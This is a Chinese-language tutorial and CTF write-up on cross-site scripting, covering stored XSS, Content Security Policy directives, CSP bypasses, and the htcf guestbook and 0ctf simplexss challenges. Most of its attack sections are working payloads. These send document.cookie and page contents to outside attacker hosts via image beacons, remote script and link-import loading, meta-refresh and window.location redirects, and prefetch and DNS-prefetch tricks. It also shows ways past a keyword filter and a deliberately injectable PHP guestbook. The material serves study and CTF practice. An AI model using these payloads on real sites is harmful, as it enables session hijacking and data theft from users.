0x00 引子
xss一直以来接触最少的类型,现在终于有幸将其总结一下了·····,xss漏洞是目前最为常见的漏洞类型之一,其触发脚本经常与js代码有关,所以要想掌握好xss必须要有深厚的js编码功底。本篇内容是我学习xss的总结,会结合着代码编写与实验,对xss进行系统的讲解,以便我更好的认识xss。
本篇内容将会分为几个章节xss简述、基于存储型xss攻击、xss绕过
0x01 XSS概述
0x0 简述
XSS即跨站脚本,发生在目标网站中目标用户的浏览器层面上,当用户浏览器渲染整个HTML文档的过程中出现了不被预期的脚本指令并执行时,XSS就会发生
关键点:
目标网站的目标用户
- 浏览器
- 不被预期的: 攻击者在输入时提交了可控的脚本内容,然后在输出时被浏览器解析执行
- “跨站脚本”重点是脚本:XSS在攻击时会嵌入一段远程的第三方域上的脚本资源。
总之,要想尽一切办法将你的脚本内容在目标网站中目标用户的浏览器上解释执行
0x1 分类
- 反射型
又是非持久性的,非持久型xss攻击是一次性的,仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。
通常,黑客先将恶意代码写好,然后将连接发给受害者,受害者只要点击就会出现攻击现象 - 存储型
持久性的,会把用户输入的数据存储到数据库中。例如,留言板等。只要用户进入页面代码将会执行 - DOM型
DOM型与前两者的差别是,只在客户端进行解析,不需要服务器的解析响应
0x02 基于存储型的XSS攻击
上面说了这么多还是不知道xss攻击应该运用在哪些场景下,下面我们把XSS分为有CSP保护和无CSP保护两个场景来实现。
0x1 无CSP保护下的XSS
1.直接嵌入型
当过滤的东西较少时,可以优先考虑这个。这种xss触发方式比较直接,直接嵌入能够xss的js代码,下面看一个例子。
admin访问页面
<!DOCTYPE html>
<html>
<head>
<title>xss</title>
</head>
<body>
<script>
var img = new Image();
img.src = 'http://45.78.29.252:8888/?a='+document.cookie;
document.getElementsByTagName("head")[0].appendChild(img);
</script>
</body>
</html>
js代码将图片嵌入head中一起解析,左后将获取的cookie发送至xss平台
2.import导入型
经常用于过滤比较严格的情况,经过实验发现link的属性rel值为import是会将资源请求回来并一同解析,注意必须是完整的资源例如HTML、PHP、JS等。请求的资源必须要设置允许跨域加载的响应头。
admin访问页面
<!-- 无csp 远程包含js文件 -->
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>无csp/远程包含js文件/import</title>
</head>
<body>
<link rel=import href=http://yzbbd666.com/2.php>
</body>
</html>
下面是http://yzbbd666.com/2.php文件内容注意填写Access-Control-Allow-Origin
<?php
header("Access-Control-Allow-Origin: *");
echo 1;
?>
<script src="https://cdn.bootcss.com/jquery/2.2.4/jquery.min.js"></script>
<script type="text/javascript">
$.get("http://127.0.0.1/flag.php",function(data){
//alert(data);
location.href="http://45.78.29.252:8888/?a="+escape(data);
});
</script>
我们发现访问成功了,link的import会首先将访问的资源执行所以会触发xss漏洞,将盗取的才cookie值发送至服务器
3.script导入型
一般也是输入限制比较多的时候,请求访问可以利用script的远程js加载。
admin的访问界面
<!DOCTYPE html>
<html>
<head>
<title>xss</title>
</head>
<body>
<script src=http://yzbbd666.com/ld.js></script>
</body>
</html>
http://yzbbd666.com/ld.js内容如下,注意这里是js格式
var img = new Image();
img.src = 'http://45.78.29.252:8888/?a='+document.cookie;
document.getElementsByTagName("head")[0].appendChild(img);
最后实验截图
说明script加载并执行了远程js脚本,并将cookie发送至xss平台
0x2 有CSP保护下的XSS
CSP中文意思是内容安全策略,为了保护文档内容而实施的策略,首先简答介绍一下CSP相关内容,其次讲解一下绕过方法。
1.内容安全策略
(1) CSP策略
一个CSP头由多组CSP策略组成,中间由分号分隔,就像这样:
Content-Security-Policy: default-src ‘self’ www.baidu.com; script-src ‘unsafe-inline’
其中每一组策略包含一个策略指令和一个内容源列表
(2) 常用的策略指令
default-src
default-src 指令定义了那些没有被更精确指令指定的安全策略。这些指令包括:
child-src指定定义了 web workers 以及嵌套的浏览上下文
connect-src定义了请求、XMLHttpRequest、WebSocket 和 EventSource 的连接来源。
font-src定义了字体加载的有效来源
img-src定义了页面中图片和图标的有效来源
media-src
object-src
script-src
style-src定义了页面中CSS样式的有效来源
script-src 定义了页面中Javascript的有效来源
内容源
内容源有三种:源列表、关键字和数据
源列表
源列表是一个字符串,指定了一个或多个互联网主机(通过主机名或 IP 地址),和可选的或端口号。站点地址可以包含可选的通配符前缀 (星号, ‘‘),端口号也可以使用通配符 (同样是 ‘‘) 来表明所有合法端口都是有效来源。主机通过空格分隔。
有效的主机表达式包括:
http://*.foo.com (匹配所有使用 http协议加载 foo.com 任何子域名的尝试。)
mail.foo.com:443 (匹配所有访问 mail.foo.com 的 443 端口 的尝试。)
https://store.foo.com (匹配所有使用 https协议访问 store.foo.com 的尝试。)
如果端口号没有被指定,浏览器会使用指定协议的默认端口号。如果协议没有被指定,浏览器会使用访问该文档时的协议。
关键字
‘none’
代表空集;即不匹配任何 URL。两侧单引号是必须的。
‘self’
代表和文档同源,包括相同的 URL 协议和端口号。两侧单引号是必须的。
‘unsafe-inline’
允许使用内联资源,如内联的script元素、javascript: URL、内联的事件处理函数和内联的style元素,两侧单引号是必须的。
‘unsafe-eval’
允许使用 eval() 等通过字符串创建代码的方法。两侧单引号是必须的。
Content-Security-Policy: default-src 'self' trustedscripts.foo.com
数据
data:
允许data: URI作为内容来源。
mediastream:
允许mediastream: URI作为内容来源。
Content-Security-Policy: default-src 'self'; img-src 'self' data:; media-src mediastream:
2.跳转
meta标签跳转
在default-src ‘none’的情况下,可以使用meta标签实现跳转
admin访问页面
<?php header("Content-Security-Policy: default-src 'none';") ;//这里可以设置CSP
?>
<!DOCTYPE html>
<html>
<head>
<title>XSS</title>
<meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >
</head>
<body>
</body>
</html>
效果图
发现图片不能被访问,但meta标签中的内容可以被访问,成功弹至xss平台。
script脚本跳转
在允许unsafe-inline的情况下,可以用window.location,或者window.open之类的方法进行跳转绕过。
<script>
window.location="http://www.xss.com/x.php?c=[cookie]";
</script>
2.prefetch预加载绕过
CSP对link标签的预加载功能考虑不完善。
在Chrome下,可以使用如下标签发送cookie
<link rel="prefetch" href="http://www.xss.com/x.php?c=[cookie]">
在Firefox下,可以将cookie作为子域名,用dns预解析的方式把cookie带出去,查看dns服务器的日志就能得到cookie
<link rel="dns-prefetch" href="//[cookie].xxx.ceye.io">
实验代码
admin访问界面
注意这里允许里内联脚本,所以理所当然的可以使用跳转的方法获取cookie的值。
<?php header("Content-Security-Policy: default-src 'self';script-src 'self' 'unsafe-inline';") ;//这里可以设置CSP
?>
<!DOCTYPE html>
<html>
<head>
<title>XSS</title>
</head>
<body>
<script>
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "http://45.78.29.252:8888/?a=" + String(document.getElementsByTagName("html")[0].innerHTML).substring(0,100));
document.head.appendChild(n0t);
</script>
</body>
</html>
成功获取cookie值
0x03 XSS绕过技巧
xss绕过技巧非常多这里就贴上两个链接自己看吧
lemon师傅的总结
长短短的Twitter
0x04 实例解析
这一部分呢将作为长期更新的地方如果遇到好的xss题目可以联系我,将一些不错的xss题目总结在这里,为的是把理论知识与实践相结合
0x1 htcf guestbook
从代码中我们可以看到基本的过滤
function filter($string)
{
$escape = array('\'','\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
$string = preg_replace($safe, 'hacker', $string);
$xsssafe = array('img','script','on','svg','link');
$xsssafe = '/' . implode('|', $xsssafe) . '/i';
return preg_replace($xsssafe, '', $string);
}
我们看到其实只有很少的过滤,而且是单层的,对于xss来说,只需要复写2次就可以绕过了,类似于
scrscriptipt
这样。
所以其实关键在于CSP
Content-Security-Policy:default-src 'self'; script-src 'self' 'unsafe-inline'; font-src 'self' fonts.gstatic.com; style-src 'self' 'unsafe-inline'; img-src 'self'
这里上述都已经提到绕过方法主要有两种,一种直接利用跳转,第二种利用预加载
不熟悉的人可能并不清楚其中的CSP有什么样的问题,事实,整个CSP除了限定了域以外,没有做任何的限制,可以执行任意的js,这也就导致了使用人数比较多的非预期做法。
1.跳转绕过
<scrscriptipt>window.open(" http://xxxx:8080/cookie.asp?msg= "+document.body)</scrscr iptipt>
<scrscriptipt>window.locatioonn.href%3d"http%3a// www.example.com/xss/write.php%3fdomain%3d "%2bescape(document.cookie)%3b</sscriptcript>
<scrscriptipt>var a=document.createElement("a");a.href=' http://xss.com/?cookie= '+escape(document.cookie);a.click();</sscriptcript>
上面几种思路类似,通过构造新开页面或者跳转来解决域限制,由于js可以任意构造,所以这里也就通过特别的方式绕过了原本的限制。
chrome对CSP支持的不完整绕过 预加载绕过
从文章中可以获得对漏洞的整体了解,主要是2篇
后台bot使用的也正是chrome浏览器,由于浏览器对CSP特性支持的不完整,导致link标签的白名单特性存在跨域请求的能力,所以构造payload
<Scscriptript>var n0t = document.createElement("liscriptnk");n0t.setAttribute("rel", "prefetch");n0t.setAttribute("href", "//xxx:2333/" + document.cookie);document.head.appendChild(n0t);</Scscriptript>
后面xss平台或者vps接受一发搞定
0x2 0ctf simplexss
这几天做得0ctf的simple xss题目,以前做题都没有做过类似的题目,xss的题目我也没有深入研究过,就利用这次机会熟悉一下xss机制。复现一下xss环境。
实验环境:
192.168.43.182 (本地主机)
192.168.43.165 (flag所在地)
192.168.43.165
1.php
主要实现了留言板的功能
<?php #header("Content-Security-Policy: default-src 'self';") ;//这里可以设置CSP
?>
<!DOCTYPE html>
<html>
<head>
<title>XSS</title>
</head>
<body>
<?php
$a = $_GET['a'];
$link = new mysqli("localhost","root","*****","test") or die("error".mysql_error());
if ($link)
{
echo 1;
$result = $link->query("INSERT INTO yz VALUES ('$a','1','2','3')");
if($result)
echo 2;
$re = $link->query("SELECT * FROM yz");
for($i = 0;$i<$re->num_rows;$i++)
{
$row = $re->fetch_row();
echo $row[0];
}
}
?>
<script >
document.getElementsByClassName("input");
document.
</script>
</body>
</html>
192.168.43.182
3.php
<?php
header("Access-Control-Allow-Origin: *");
?>
<script>
function getinfo(str) {
var node=document.createElement("script");
node.type="text/javascript";
node.src="http://192.168.43.182/2.php?a=1234"+escape(str);
document.getElementsByTagName("HEAD")[0].appendChild(node);
}
var xmlhttp=new XMLHttpRequest();
xmlhttp.open("GET","http://127.0.0.1/flag.php",true);
xmlhttp.onreadystatechange=function()
{
//if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
getinfo(xmlhttp.responseText);
}
}
xmlhttp.send();
</script>
在本地打开浏览器输入
http://192.168.43.165/1.php?a=<link%20rel=import%20href=http://192.168.43.182/3.php>
import 会导入远程资源并执行
当flag端打开1.php查看留言板时会使得3.php脚本执行,从而将flag的内容发送至本地。